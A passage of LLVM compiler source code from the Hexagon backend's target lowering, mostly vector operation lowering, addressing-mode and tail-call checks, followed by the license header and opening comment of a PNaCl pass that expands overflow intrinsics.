setOperationAction(ISD::STACKRESTORE, MVT::Other, Expand);
setOperationAction(ISD::DYNAMIC_STACKALLOC, MVT::i32, Custom);
setOperationAction(ISD::INLINEASM, MVT::Other, Custom);
setMinFunctionAlignment(2);
// Needed for DYNAMIC_STACKALLOC expansion.
const HexagonRegisterInfo *QRI = Subtarget->getRegisterInfo();
setStackPointerRegisterToSaveRestore(QRI->getStackRegister());
setSchedulingPreference(Sched::VLIW);
}
const char*
HexagonTargetLowering::getTargetNodeName(unsigned Opcode) const {
switch (Opcode) {
default: return nullptr;
case HexagonISD::CONST32: return "HexagonISD::CONST32";
case HexagonISD::CONST32_GP: return "HexagonISD::CONST32_GP";
case HexagonISD::CONST32_Int_Real: return "HexagonISD::CONST32_Int_Real";
case HexagonISD::ADJDYNALLOC: return "HexagonISD::ADJDYNALLOC";
case HexagonISD::CMPICC: return "HexagonISD::CMPICC";
case HexagonISD::CMPFCC: return "HexagonISD::CMPFCC";
case HexagonISD::BRICC: return "HexagonISD::BRICC";
case HexagonISD::BRFCC: return "HexagonISD::BRFCC";
case HexagonISD::SELECT_ICC: return "HexagonISD::SELECT_ICC";
case HexagonISD::SELECT_FCC: return "HexagonISD::SELECT_FCC";
case HexagonISD::Hi: return "HexagonISD::Hi";
case HexagonISD::Lo: return "HexagonISD::Lo";
case HexagonISD::JT: return "HexagonISD::JT";
case HexagonISD::CP: return "HexagonISD::CP";
case HexagonISD::POPCOUNT: return "HexagonISD::POPCOUNT";
case HexagonISD::COMBINE: return "HexagonISD::COMBINE";
case HexagonISD::PACKHL: return "HexagonISD::PACKHL";
case HexagonISD::VSPLATB: return "HexagonISD::VSPLTB";
case HexagonISD::VSPLATH: return "HexagonISD::VSPLATH";
case HexagonISD::SHUFFEB: return "HexagonISD::SHUFFEB";
case HexagonISD::SHUFFEH: return "HexagonISD::SHUFFEH";
case HexagonISD::SHUFFOB: return "HexagonISD::SHUFFOB";
case HexagonISD::SHUFFOH: return "HexagonISD::SHUFFOH";
case HexagonISD::VSXTBH: return "HexagonISD::VSXTBH";
case HexagonISD::VSXTBW: return "HexagonISD::VSXTBW";
case HexagonISD::VSRAW: return "HexagonISD::VSRAW";
case HexagonISD::VSRAH: return "HexagonISD::VSRAH";
case HexagonISD::VSRLW: return "HexagonISD::VSRLW";
case HexagonISD::VSRLH: return "HexagonISD::VSRLH";
case HexagonISD::VSHLW: return "HexagonISD::VSHLW";
case HexagonISD::VSHLH: return "HexagonISD::VSHLH";
case HexagonISD::VCMPBEQ: return "HexagonISD::VCMPBEQ";
case HexagonISD::VCMPBGT: return "HexagonISD::VCMPBGT";
case HexagonISD::VCMPBGTU: return "HexagonISD::VCMPBGTU";
case HexagonISD::VCMPHEQ: return "HexagonISD::VCMPHEQ";
case HexagonISD::VCMPHGT: return "HexagonISD::VCMPHGT";
case HexagonISD::VCMPHGTU: return "HexagonISD::VCMPHGTU";
case HexagonISD::VCMPWEQ: return "HexagonISD::VCMPWEQ";
case HexagonISD::VCMPWGT: return "HexagonISD::VCMPWGT";
case HexagonISD::VCMPWGTU: return "HexagonISD::VCMPWGTU";
case HexagonISD::INSERT_ri: return "HexagonISD::INSERT_ri";
case HexagonISD::INSERT_rd: return "HexagonISD::INSERT_rd";
case HexagonISD::INSERT_riv: return "HexagonISD::INSERT_riv";
case HexagonISD::INSERT_rdv: return "HexagonISD::INSERT_rdv";
case HexagonISD::EXTRACTU_ri: return "HexagonISD::EXTRACTU_ri";
case HexagonISD::EXTRACTU_rd: return "HexagonISD::EXTRACTU_rd";
case HexagonISD::EXTRACTU_riv: return "HexagonISD::EXTRACTU_riv";
case HexagonISD::EXTRACTU_rdv: return "HexagonISD::EXTRACTU_rdv";
case HexagonISD::FTOI: return "HexagonISD::FTOI";
case HexagonISD::ITOF: return "HexagonISD::ITOF";
case HexagonISD::CALLv3: return "HexagonISD::CALLv3";
case HexagonISD::CALLv3nr: return "HexagonISD::CALLv3nr";
case HexagonISD::CALLR: return "HexagonISD::CALLR";
case HexagonISD::RET_FLAG: return "HexagonISD::RET_FLAG";
case HexagonISD::BR_JT: return "HexagonISD::BR_JT";
case HexagonISD::TC_RETURN: return "HexagonISD::TC_RETURN";
case HexagonISD::EH_RETURN: return "HexagonISD::EH_RETURN";
}
}
bool
HexagonTargetLowering::isTruncateFree(Type *Ty1, Type *Ty2) const {
EVT MTy1 = EVT::getEVT(Ty1);
EVT MTy2 = EVT::getEVT(Ty2);
if (!MTy1.isSimple() || !MTy2.isSimple()) {
return false;
}
return ((MTy1.getSimpleVT() == MVT::i64) && (MTy2.getSimpleVT() == MVT::i32));
}
bool HexagonTargetLowering::isTruncateFree(EVT VT1, EVT VT2) const {
if (!VT1.isSimple() || !VT2.isSimple()) {
return false;
}
return ((VT1.getSimpleVT() == MVT::i64) && (VT2.getSimpleVT() == MVT::i32));
}
// shouldExpandBuildVectorWithShuffles
// Should we expand the build vector with shuffles?
bool
HexagonTargetLowering::shouldExpandBuildVectorWithShuffles(EVT VT,
unsigned DefinedValues) const {
// Hexagon vector shuffle operates on element sizes of bytes or halfwords
EVT EltVT = VT.getVectorElementType();
int EltBits = EltVT.getSizeInBits();
if ((EltBits != 8) && (EltBits != 16))
return false;
return TargetLowering::shouldExpandBuildVectorWithShuffles(VT, DefinedValues);
}
// LowerVECTOR_SHUFFLE - Lower a vector shuffle (V1, V2, V3). V1 and
// V2 are the two vectors to select data from, V3 is the permutation.
static SDValue LowerVECTOR_SHUFFLE(SDValue Op, SelectionDAG &DAG) {
const ShuffleVectorSDNode *SVN = cast<ShuffleVectorSDNode>(Op);
SDValue V1 = Op.getOperand(0);
SDValue V2 = Op.getOperand(1);
SDLoc dl(Op);
EVT VT = Op.getValueType();
if (V2.getOpcode() == ISD::UNDEF)
V2 = V1;
if (SVN->isSplat()) {
int Lane = SVN->getSplatIndex();
if (Lane == -1) Lane = 0;
// Test if V1 is a SCALAR_TO_VECTOR.
if (Lane == 0 && V1.getOpcode() == ISD::SCALAR_TO_VECTOR)
return createSplat(DAG, dl, VT, V1.getOperand(0));
// Test if V1 is a BUILD_VECTOR which is equivalent to a SCALAR_TO_VECTOR
// (and probably will turn into a SCALAR_TO_VECTOR once legalization
// reaches it).
if (Lane == 0 && V1.getOpcode() == ISD::BUILD_VECTOR &&
!isa<ConstantSDNode>(V1.getOperand(0))) {
bool IsScalarToVector = true;
for (unsigned i = 1, e = V1.getNumOperands(); i != e; ++i)
if (V1.getOperand(i).getOpcode() != ISD::UNDEF) {
IsScalarToVector = false;
break;
}
if (IsScalarToVector)
return createSplat(DAG, dl, VT, V1.getOperand(0));
}
return createSplat(DAG, dl, VT, DAG.getConstant(Lane, MVT::i32));
}
// FIXME: We need to support more general vector shuffles. See
// below the comment from the ARM backend that deals in the general
// case with the vector shuffles. For now, let expand handle these.
return SDValue();
// If the shuffle is not directly supported and it has 4 elements, use
// the PerfectShuffle-generated table to synthesize it from other shuffles.
}
// If BUILD_VECTOR has same base element repeated several times,
// report true.
static bool isCommonSplatElement(BuildVectorSDNode *BVN) {
unsigned NElts = BVN->getNumOperands();
SDValue V0 = BVN->getOperand(0);
for (unsigned i = 1, e = NElts; i != e; ++i) {
if (BVN->getOperand(i) != V0)
return false;
}
return true;
}
// LowerVECTOR_SHIFT - Lower a vector shift. Try to convert
// <VT> = SHL/SRA/SRL <VT> by <VT> to Hexagon specific
// <VT> = SHL/SRA/SRL <VT> by <IT/i32>.
static SDValue LowerVECTOR_SHIFT(SDValue Op, SelectionDAG &DAG) {
BuildVectorSDNode *BVN = 0;
SDValue V1 = Op.getOperand(0);
SDValue V2 = Op.getOperand(1);
SDValue V3;
SDLoc dl(Op);
EVT VT = Op.getValueType();
if ((BVN = dyn_cast<BuildVectorSDNode>(V1.getNode())) &&
isCommonSplatElement(BVN))
V3 = V2;
else if ((BVN = dyn_cast<BuildVectorSDNode>(V2.getNode())) &&
isCommonSplatElement(BVN))
V3 = V1;
else
return SDValue();
SDValue CommonSplat = BVN->getOperand(0);
SDValue Result;
if (VT.getSimpleVT() == MVT::v4i16) {
switch (Op.getOpcode()) {
case ISD::SRA:
Result = DAG.getNode(HexagonISD::VSRAH, dl, VT, V3, CommonSplat);
break;
case ISD::SHL:
Result = DAG.getNode(HexagonISD::VSHLH, dl, VT, V3, CommonSplat);
break;
case ISD::SRL:
Result = DAG.getNode(HexagonISD::VSRLH, dl, VT, V3, CommonSplat);
break;
default:
return SDValue();
}
} else if (VT.getSimpleVT() == MVT::v2i32) {
switch (Op.getOpcode()) {
case ISD::SRA:
Result = DAG.getNode(HexagonISD::VSRAW, dl, VT, V3, CommonSplat);
break;
case ISD::SHL:
Result = DAG.getNode(HexagonISD::VSHLW, dl, VT, V3, CommonSplat);
break;
case ISD::SRL:
Result = DAG.getNode(HexagonISD::VSRLW, dl, VT, V3, CommonSplat);
break;
default:
return SDValue();
}
} else {
return SDValue();
}
return DAG.getNode(ISD::BITCAST, dl, VT, Result);
}
SDValue
HexagonTargetLowering::LowerBUILD_VECTOR(SDValue Op, SelectionDAG &DAG) const {
BuildVectorSDNode *BVN = cast<BuildVectorSDNode>(Op.getNode());
SDLoc dl(Op);
EVT VT = Op.getValueType();
unsigned Size = VT.getSizeInBits();
// A vector larger than 64 bits cannot be represented in Hexagon.
// Expand will split the vector.
if (Size > 64)
return SDValue();
APInt APSplatBits, APSplatUndef;
unsigned SplatBitSize;
bool HasAnyUndefs;
unsigned NElts = BVN->getNumOperands();
// Try to generate a SPLAT instruction.
if ((VT.getSimpleVT() == MVT::v4i8 || VT.getSimpleVT() == MVT::v4i16) &&
(BVN->isConstantSplat(APSplatBits, APSplatUndef, SplatBitSize,
HasAnyUndefs, 0, true) && SplatBitSize <= 16)) {
unsigned SplatBits = APSplatBits.getZExtValue();
int32_t SextVal = ((int32_t) (SplatBits << (32 - SplatBitSize)) >>
(32 - SplatBitSize));
return createSplat(DAG, dl, VT, DAG.getConstant(SextVal, MVT::i32));
}
// Try to generate COMBINE to build v2i32 vectors.
if (VT.getSimpleVT() == MVT::v2i32) {
SDValue V0 = BVN->getOperand(0);
SDValue V1 = BVN->getOperand(1);
if (V0.getOpcode() == ISD::UNDEF)
V0 = DAG.getConstant(0, MVT::i32);
if (V1.getOpcode() == ISD::UNDEF)
V1 = DAG.getConstant(0, MVT::i32);
ConstantSDNode *C0 = dyn_cast<ConstantSDNode>(V0);
ConstantSDNode *C1 = dyn_cast<ConstantSDNode>(V1);
// If the element isn't a constant, it is in a register:
// generate a COMBINE Register Register instruction.
if (!C0 || !C1)
return DAG.getNode(HexagonISD::COMBINE, dl, VT, V1, V0);
// If one of the operands is an 8 bit integer constant, generate
// a COMBINE Immediate Immediate instruction.
if (isInt<8>(C0->getSExtValue()) ||
isInt<8>(C1->getSExtValue()))
return DAG.getNode(HexagonISD::COMBINE, dl, VT, V1, V0);
}
// Try to generate a S2_packhl to build v2i16 vectors.
if (VT.getSimpleVT() == MVT::v2i16) {
for (unsigned i = 0, e = NElts; i != e; ++i) {
if (BVN->getOperand(i).getOpcode() == ISD::UNDEF)
continue;
ConstantSDNode *Cst = dyn_cast<ConstantSDNode>(BVN->getOperand(i));
// If the element isn't a constant, it is in a register:
// generate a S2_packhl instruction.
if (!Cst) {
SDValue pack = DAG.getNode(HexagonISD::PACKHL, dl, MVT::v4i16,
BVN->getOperand(1), BVN->getOperand(0));
return DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl, MVT::v2i16,
pack);
}
}
}
// In the general case, generate a CONST32 or a CONST64 for constant vectors,
// and insert_vector_elt for all the other cases.
uint64_t Res = 0;
unsigned EltSize = Size / NElts;
SDValue ConstVal;
uint64_t Mask = ~uint64_t(0ULL) >> (64 - EltSize);
bool HasNonConstantElements = false;
for (unsigned i = 0, e = NElts; i != e; ++i) {
// LLVM's BUILD_VECTOR operands are in Little Endian mode, whereas Hexagon's
// combine, const64, etc. are Big Endian.
unsigned OpIdx = NElts - i - 1;
SDValue Operand = BVN->getOperand(OpIdx);
if (Operand.getOpcode() == ISD::UNDEF)
continue;
int64_t Val = 0;
if (ConstantSDNode *Cst = dyn_cast<ConstantSDNode>(Operand))
Val = Cst->getSExtValue();
else
HasNonConstantElements = true;
Val &= Mask;
Res = (Res << EltSize) | Val;
}
if (Size == 64)
ConstVal = DAG.getConstant(Res, MVT::i64);
else
ConstVal = DAG.getConstant(Res, MVT::i32);
// When there are non constant operands, add them with INSERT_VECTOR_ELT to
// ConstVal, the constant part of the vector.
if (HasNonConstantElements) {
EVT EltVT = VT.getVectorElementType();
SDValue Width = DAG.getConstant(EltVT.getSizeInBits(), MVT::i64);
SDValue Shifted = DAG.getNode(ISD::SHL, dl, MVT::i64, Width,
DAG.getConstant(32, MVT::i64));
for (unsigned i = 0, e = NElts; i != e; ++i) {
// LLVM's BUILD_VECTOR operands are in Little Endian mode, whereas Hexagon
// is Big Endian.
unsigned OpIdx = NElts - i - 1;
SDValue Operand = BVN->getOperand(OpIdx);
if (isa<ConstantSDNode>(Operand))
// This operand is already in ConstVal.
continue;
if (VT.getSizeInBits() == 64 &&
Operand.getValueType().getSizeInBits() == 32) {
SDValue C = DAG.getConstant(0, MVT::i32);
Operand = DAG.getNode(HexagonISD::COMBINE, dl, VT, C, Operand);
}
SDValue Idx = DAG.getConstant(OpIdx, MVT::i64);
SDValue Offset = DAG.getNode(ISD::MUL, dl, MVT::i64, Idx, Width);
SDValue Combined = DAG.getNode(ISD::OR, dl, MVT::i64, Shifted, Offset);
const SDValue Ops[] = {ConstVal, Operand, Combined};
if (VT.getSizeInBits() == 32)
ConstVal = DAG.getNode(HexagonISD::INSERT_riv, dl, MVT::i32, Ops);
else
ConstVal = DAG.getNode(HexagonISD::INSERT_rdv, dl, MVT::i64, Ops);
}
}
return DAG.getNode(ISD::BITCAST, dl, VT, ConstVal);
}
SDValue
HexagonTargetLowering::LowerCONCAT_VECTORS(SDValue Op,
SelectionDAG &DAG) const {
SDLoc dl(Op);
EVT VT = Op.getValueType();
unsigned NElts = Op.getNumOperands();
SDValue Vec = Op.getOperand(0);
EVT VecVT = Vec.getValueType();
SDValue Width = DAG.getConstant(VecVT.getSizeInBits(), MVT::i64);
SDValue Shifted = DAG.getNode(ISD::SHL, dl, MVT::i64, Width,
DAG.getConstant(32, MVT::i64));
SDValue ConstVal = DAG.getConstant(0, MVT::i64);
ConstantSDNode *W = dyn_cast<ConstantSDNode>(Width);
ConstantSDNode *S = dyn_cast<ConstantSDNode>(Shifted);
if ((VecVT.getSimpleVT() == MVT::v2i16) && (NElts == 2) && W && S) {
if ((W->getZExtValue() == 32) && ((S->getZExtValue() >> 32) == 32)) {
// We are trying to concat two v2i16 to a single v4i16.
SDValue Vec0 = Op.getOperand(1);
SDValue Combined = DAG.getNode(HexagonISD::COMBINE, dl, VT, Vec0, Vec);
return DAG.getNode(ISD::BITCAST, dl, VT, Combined);
}
}
if ((VecVT.getSimpleVT() == MVT::v4i8) && (NElts == 2) && W && S) {
if ((W->getZExtValue() == 32) && ((S->getZExtValue() >> 32) == 32)) {
// We are trying to concat two v4i8 to a single v8i8.
SDValue Vec0 = Op.getOperand(1);
SDValue Combined = DAG.getNode(HexagonISD::COMBINE, dl, VT, Vec0, Vec);
return DAG.getNode(ISD::BITCAST, dl, VT, Combined);
}
}
for (unsigned i = 0, e = NElts; i != e; ++i) {
unsigned OpIdx = NElts - i - 1;
SDValue Operand = Op.getOperand(OpIdx);
if (VT.getSizeInBits() == 64 &&
Operand.getValueType().getSizeInBits() == 32) {
SDValue C = DAG.getConstant(0, MVT::i32);
Operand = DAG.getNode(HexagonISD::COMBINE, dl, VT, C, Operand);
}
SDValue Idx = DAG.getConstant(OpIdx, MVT::i64);
SDValue Offset = DAG.getNode(ISD::MUL, dl, MVT::i64, Idx, Width);
SDValue Combined = DAG.getNode(ISD::OR, dl, MVT::i64, Shifted, Offset);
const SDValue Ops[] = {ConstVal, Operand, Combined};
if (VT.getSizeInBits() == 32)
ConstVal = DAG.getNode(HexagonISD::INSERT_riv, dl, MVT::i32, Ops);
else
ConstVal = DAG.getNode(HexagonISD::INSERT_rdv, dl, MVT::i64, Ops);
}
return DAG.getNode(ISD::BITCAST, dl, VT, ConstVal);
}
SDValue
HexagonTargetLowering::LowerEXTRACT_VECTOR(SDValue Op,
SelectionDAG &DAG) const {
EVT VT = Op.getValueType();
int VTN = VT.isVector() ? VT.getVectorNumElements() : 1;
SDLoc dl(Op);
SDValue Idx = Op.getOperand(1);
SDValue Vec = Op.getOperand(0);
EVT VecVT = Vec.getValueType();
EVT EltVT = VecVT.getVectorElementType();
int EltSize = EltVT.getSizeInBits();
SDValue Width = DAG.getConstant(Op.getOpcode() == ISD::EXTRACT_VECTOR_ELT ?
EltSize : VTN * EltSize, MVT::i64);
// Constant element number.
if (ConstantSDNode *C = dyn_cast<ConstantSDNode>(Idx)) {
SDValue Offset = DAG.getConstant(C->getZExtValue() * EltSize, MVT::i32);
const SDValue Ops[] = {Vec, Width, Offset};
ConstantSDNode *W = dyn_cast<ConstantSDNode>(Width);
assert(W && "Non constant width in LowerEXTRACT_VECTOR");
SDValue N;
// For certain extracts, it is a simple _hi/_lo subreg.
if (VecVT.getSimpleVT() == MVT::v2i32) {
// v2i32 -> i32 vselect.
if (C->getZExtValue() == 0)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl,
MVT::i32, Vec);
else if (C->getZExtValue() == 1)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_hireg, dl,
MVT::i32, Vec);
else
llvm_unreachable("Bad offset");
} else if ((VecVT.getSimpleVT() == MVT::v4i16) &&
(W->getZExtValue() == 32)) {
// v4i16 -> v2i16/i32 vselect.
if (C->getZExtValue() == 0)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl,
MVT::i32, Vec);
else if (C->getZExtValue() == 2)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_hireg, dl,
MVT::i32, Vec);
else
llvm_unreachable("Bad offset");
} else if ((VecVT.getSimpleVT() == MVT::v8i8) &&
(W->getZExtValue() == 32)) {
// v8i8 -> v4i8/i32 vselect.
if (C->getZExtValue() == 0)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl,
MVT::i32, Vec);
else if (C->getZExtValue() == 4)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_hireg, dl,
MVT::i32, Vec);
else
llvm_unreachable("Bad offset");
} else if (VecVT.getSizeInBits() == 32) {
N = DAG.getNode(HexagonISD::EXTRACTU_ri, dl, MVT::i32, Ops);
} else {
N = DAG.getNode(HexagonISD::EXTRACTU_rd, dl, MVT::i64, Ops);
if (VT.getSizeInBits() == 32)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl, MVT::i32, N);
}
return DAG.getNode(ISD::BITCAST, dl, VT, N);
}
// Variable element number.
SDValue Offset = DAG.getNode(ISD::MUL, dl, MVT::i32, Idx,
DAG.getConstant(EltSize, MVT::i32));
SDValue Shifted = DAG.getNode(ISD::SHL, dl, MVT::i64, Width,
DAG.getConstant(32, MVT::i64));
SDValue Combined = DAG.getNode(ISD::OR, dl, MVT::i64, Shifted, Offset);
const SDValue Ops[] = {Vec, Combined};
SDValue N;
if (VecVT.getSizeInBits() == 32) {
N = DAG.getNode(HexagonISD::EXTRACTU_riv, dl, MVT::i32, Ops);
} else {
N = DAG.getNode(HexagonISD::EXTRACTU_rdv, dl, MVT::i64, Ops);
if (VT.getSizeInBits() == 32)
N = DAG.getTargetExtractSubreg(Hexagon::subreg_loreg, dl, MVT::i32, N);
}
return DAG.getNode(ISD::BITCAST, dl, VT, N);
}
SDValue
HexagonTargetLowering::LowerINSERT_VECTOR(SDValue Op,
SelectionDAG &DAG) const {
EVT VT = Op.getValueType();
int VTN = VT.isVector() ? VT.getVectorNumElements() : 1;
SDLoc dl(Op);
SDValue Vec = Op.getOperand(0);
SDValue Val = Op.getOperand(1);
SDValue Idx = Op.getOperand(2);
EVT VecVT = Vec.getValueType();
EVT EltVT = VecVT.getVectorElementType();
int EltSize = EltVT.getSizeInBits();
SDValue Width = DAG.getConstant(Op.getOpcode() == ISD::INSERT_VECTOR_ELT ?
EltSize : VTN * EltSize, MVT::i64);
if (ConstantSDNode *C = cast<ConstantSDNode>(Idx)) {
SDValue Offset = DAG.getConstant(C->getSExtValue() * EltSize, MVT::i32);
const SDValue Ops[] = {Vec, Val, Width, Offset};
SDValue N;
if (VT.getSizeInBits() == 32)
N = DAG.getNode(HexagonISD::INSERT_ri, dl, MVT::i32, Ops);
else
N = DAG.getNode(HexagonISD::INSERT_rd, dl, MVT::i64, Ops);
return DAG.getNode(ISD::BITCAST, dl, VT, N);
}
// Variable element number.
SDValue Offset = DAG.getNode(ISD::MUL, dl, MVT::i32, Idx,
DAG.getConstant(EltSize, MVT::i32));
SDValue Shifted = DAG.getNode(ISD::SHL, dl, MVT::i64, Width,
DAG.getConstant(32, MVT::i64));
SDValue Combined = DAG.getNode(ISD::OR, dl, MVT::i64, Shifted, Offset);
if (VT.getSizeInBits() == 64 &&
Val.getValueType().getSizeInBits() == 32) {
SDValue C = DAG.getConstant(0, MVT::i32);
Val = DAG.getNode(HexagonISD::COMBINE, dl, VT, C, Val);
}
const SDValue Ops[] = {Vec, Val, Combined};
SDValue N;
if (VT.getSizeInBits() == 32)
N = DAG.getNode(HexagonISD::INSERT_riv, dl, MVT::i32, Ops);
else
N = DAG.getNode(HexagonISD::INSERT_rdv, dl, MVT::i64, Ops);
return DAG.getNode(ISD::BITCAST, dl, VT, N);
}
bool
HexagonTargetLowering::allowTruncateForTailCall(Type *Ty1, Type *Ty2) const {
// Assuming the caller does not have either a signext or zeroext modifier, and
// only one value is accepted, any reasonable truncation is allowed.
if (!Ty1->isIntegerTy() || !Ty2->isIntegerTy())
return false;
// FIXME: in principle up to 64-bit could be made safe, but it would be very
// fragile at the moment: any support for multiple value returns would be
// liable to disallow tail calls involving i64 -> iN truncation in many cases.
return Ty1->getPrimitiveSizeInBits() <= 32;
}
SDValue
HexagonTargetLowering::LowerEH_RETURN(SDValue Op, SelectionDAG &DAG) const {
SDValue Chain = Op.getOperand(0);
SDValue Offset = Op.getOperand(1);
SDValue Handler = Op.getOperand(2);
SDLoc dl(Op);
// Mark function as containing a call to EH_RETURN.
HexagonMachineFunctionInfo *FuncInfo =
DAG.getMachineFunction().getInfo<HexagonMachineFunctionInfo>();
FuncInfo->setHasEHReturn();
unsigned OffsetReg = Hexagon::R28;
SDValue StoreAddr = DAG.getNode(ISD::ADD, dl, getPointerTy(),
DAG.getRegister(Hexagon::R30, getPointerTy()),
DAG.getIntPtrConstant(4));
Chain = DAG.getStore(Chain, dl, Handler, StoreAddr, MachinePointerInfo(),
false, false, 0);
Chain = DAG.getCopyToReg(Chain, dl, OffsetReg, Offset);
// Not needed we already use it as explict input to EH_RETURN.
// MF.getRegInfo().addLiveOut(OffsetReg);
return DAG.getNode(HexagonISD::EH_RETURN, dl, MVT::Other, Chain);
}
SDValue
HexagonTargetLowering::LowerOperation(SDValue Op, SelectionDAG &DAG) const {
switch (Op.getOpcode()) {
default: llvm_unreachable("Should not custom lower this!");
case ISD::CONCAT_VECTORS: return LowerCONCAT_VECTORS(Op, DAG);
case ISD::INSERT_SUBVECTOR: return LowerINSERT_VECTOR(Op, DAG);
case ISD::INSERT_VECTOR_ELT: return LowerINSERT_VECTOR(Op, DAG);
case ISD::EXTRACT_SUBVECTOR: return LowerEXTRACT_VECTOR(Op, DAG);
case ISD::EXTRACT_VECTOR_ELT: return LowerEXTRACT_VECTOR(Op, DAG);
case ISD::BUILD_VECTOR: return LowerBUILD_VECTOR(Op, DAG);
case ISD::VECTOR_SHUFFLE: return LowerVECTOR_SHUFFLE(Op, DAG);
case ISD::SRA:
case ISD::SHL:
case ISD::SRL:
return LowerVECTOR_SHIFT(Op, DAG);
case ISD::ConstantPool:
return LowerConstantPool(Op, DAG);
case ISD::EH_RETURN: return LowerEH_RETURN(Op, DAG);
// Frame & Return address. Currently unimplemented.
case ISD::RETURNADDR: return LowerRETURNADDR(Op, DAG);
case ISD::FRAMEADDR: return LowerFRAMEADDR(Op, DAG);
case ISD::GlobalTLSAddress:
llvm_unreachable("TLS not implemented for Hexagon.");
case ISD::ATOMIC_FENCE: return LowerATOMIC_FENCE(Op, DAG);
case ISD::GlobalAddress: return LowerGLOBALADDRESS(Op, DAG);
case ISD::BlockAddress: return LowerBlockAddress(Op, DAG);
case ISD::VASTART: return LowerVASTART(Op, DAG);
case ISD::BR_JT: return LowerBR_JT(Op, DAG);
// Custom lower some vector loads.
case ISD::LOAD: return LowerLOAD(Op, DAG);
case ISD::DYNAMIC_STACKALLOC: return LowerDYNAMIC_STACKALLOC(Op, DAG);
case ISD::SELECT: return Op;
case ISD::SETCC: return LowerSETCC(Op, DAG);
case ISD::VSELECT: return LowerVSELECT(Op, DAG);
case ISD::CTPOP: return LowerCTPOP(Op, DAG);
case ISD::INTRINSIC_WO_CHAIN: return LowerINTRINSIC_WO_CHAIN(Op, DAG);
case ISD::INLINEASM: return LowerINLINEASM(Op, DAG);
}
}
//===----------------------------------------------------------------------===//
// Hexagon Scheduler Hooks
//===----------------------------------------------------------------------===//
MachineBasicBlock *
HexagonTargetLowering::EmitInstrWithCustomInserter(MachineInstr *MI,
MachineBasicBlock *BB)
const {
switch (MI->getOpcode()) {
case Hexagon::ADJDYNALLOC: {
MachineFunction *MF = BB->getParent();
HexagonMachineFunctionInfo *FuncInfo =
MF->getInfo<HexagonMachineFunctionInfo>();
FuncInfo->addAllocaAdjustInst(MI);
return BB;
}
default: llvm_unreachable("Unexpected instr type to insert");
} // switch
}
//===----------------------------------------------------------------------===//
// Inline Assembly Support
//===----------------------------------------------------------------------===//
std::pair<unsigned, const TargetRegisterClass *>
HexagonTargetLowering::getRegForInlineAsmConstraint(
const TargetRegisterInfo *TRI, const std::string &Constraint,
MVT VT) const {
if (Constraint.size() == 1) {
switch (Constraint[0]) {
case 'r': // R0-R31
switch (VT.SimpleTy) {
default:
llvm_unreachable("getRegForInlineAsmConstraint Unhandled data type");
case MVT::i32:
case MVT::i16:
case MVT::i8:
case MVT::f32:
return std::make_pair(0U, &Hexagon::IntRegsRegClass);
case MVT::i64:
case MVT::f64:
return std::make_pair(0U, &Hexagon::DoubleRegsRegClass);
}
default:
llvm_unreachable("Unknown asm register class");
}
}
return TargetLowering::getRegForInlineAsmConstraint(TRI, Constraint, VT);
}
/// isFPImmLegal - Returns true if the target can instruction select the
/// specified FP immediate natively. If false, the legalizer will
/// materialize the FP immediate as a load from a constant pool.
bool HexagonTargetLowering::isFPImmLegal(const APFloat &Imm, EVT VT) const {
return Subtarget->hasV5TOps();
}
/// isLegalAddressingMode - Return true if the addressing mode represented by
/// AM is legal for this target, for a load/store of the specified type.
bool HexagonTargetLowering::isLegalAddressingMode(const AddrMode &AM,
Type *Ty) const {
// Allows a signed-extended 11-bit immediate field.
if (AM.BaseOffs <= -(1LL << 13) || AM.BaseOffs >= (1LL << 13)-1) {
return false;
}
// No global is ever allowed as a base.
if (AM.BaseGV) {
return false;
}
int Scale = AM.Scale;
if (Scale < 0) Scale = -Scale;
switch (Scale) {
case 0: // No scale reg, "r+i", "r", or just "i".
break;
default: // No scaled addressing mode.
return false;
}
return true;
}
/// isLegalICmpImmediate - Return true if the specified immediate is legal
/// icmp immediate, that is the target has icmp instructions which can compare
/// a register against the immediate without having to materialize the
/// immediate into a register.
bool HexagonTargetLowering::isLegalICmpImmediate(int64_t Imm) const {
return Imm >= -512 && Imm <= 511;
}
/// IsEligibleForTailCallOptimization - Check whether the call is eligible
/// for tail call optimization. Targets which want to do tail call
/// optimization should implement this function.
bool HexagonTargetLowering::IsEligibleForTailCallOptimization(
SDValue Callee,
CallingConv::ID CalleeCC,
bool isVarArg,
bool isCalleeStructRet,
bool isCallerStructRet,
const SmallVectorImpl<ISD::OutputArg> &Outs,
const SmallVectorImpl<SDValue> &OutVals,
const SmallVectorImpl<ISD::InputArg> &Ins,
SelectionDAG& DAG) const {
const Function *CallerF = DAG.getMachineFunction().getFunction();
CallingConv::ID CallerCC = CallerF->getCallingConv();
bool CCMatch = CallerCC == CalleeCC;
// ***************************************************************************
// Look for obvious safe cases to perform tail call optimization that do not
// require ABI changes.
// ***************************************************************************
// If this is a tail call via a function pointer, then don't do it!
if (!(dyn_cast<GlobalAddressSDNode>(Callee))
&& !(dyn_cast<ExternalSymbolSDNode>(Callee))) {
return false;
}
// Do not optimize if the calling conventions do not match.
if (!CCMatch)
return false;
// Do not tail call optimize vararg calls.
if (isVarArg)
return false;
// Also avoid tail call optimization if either caller or callee uses struct
// return semantics.
if (isCalleeStructRet || isCallerStructRet)
return false;
// In addition to the cases above, we also disable Tail Call Optimization if
// the calling convention code that at least one outgoing argument needs to
// go on the stack. We cannot check that here because at this point that
// information is not available.
return true;
}
// Return true when the given node fits in a positive half word.
bool llvm::isPositiveHalfWord(SDNode *N) {
ConstantSDNode *CN = dyn_cast<ConstantSDNode>(N);
if (CN && CN->getSExtValue() > 0 && isInt<16>(CN->getSExtValue()))
return true;
switch (N->getOpcode()) {
default:
return false;
case ISD::SIGN_EXTEND_INREG:
return true;
}
}
<file_sep>/lib/Transforms/NaCl/ExpandArithWithOverflow.cpp
//===- ExpandArithWithOverflow.cpp - Expand out uses of *.with.overflow----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The llvm.*.with.overflow.*() intrinsics are awkward for PNaCl support because
// they return structs, and we want to omit struct types from IR in PNaCl's
// stable ABI.
//
// However, llvm.{umul,uadd}.with.overflow.*() are used by Clang to implement an
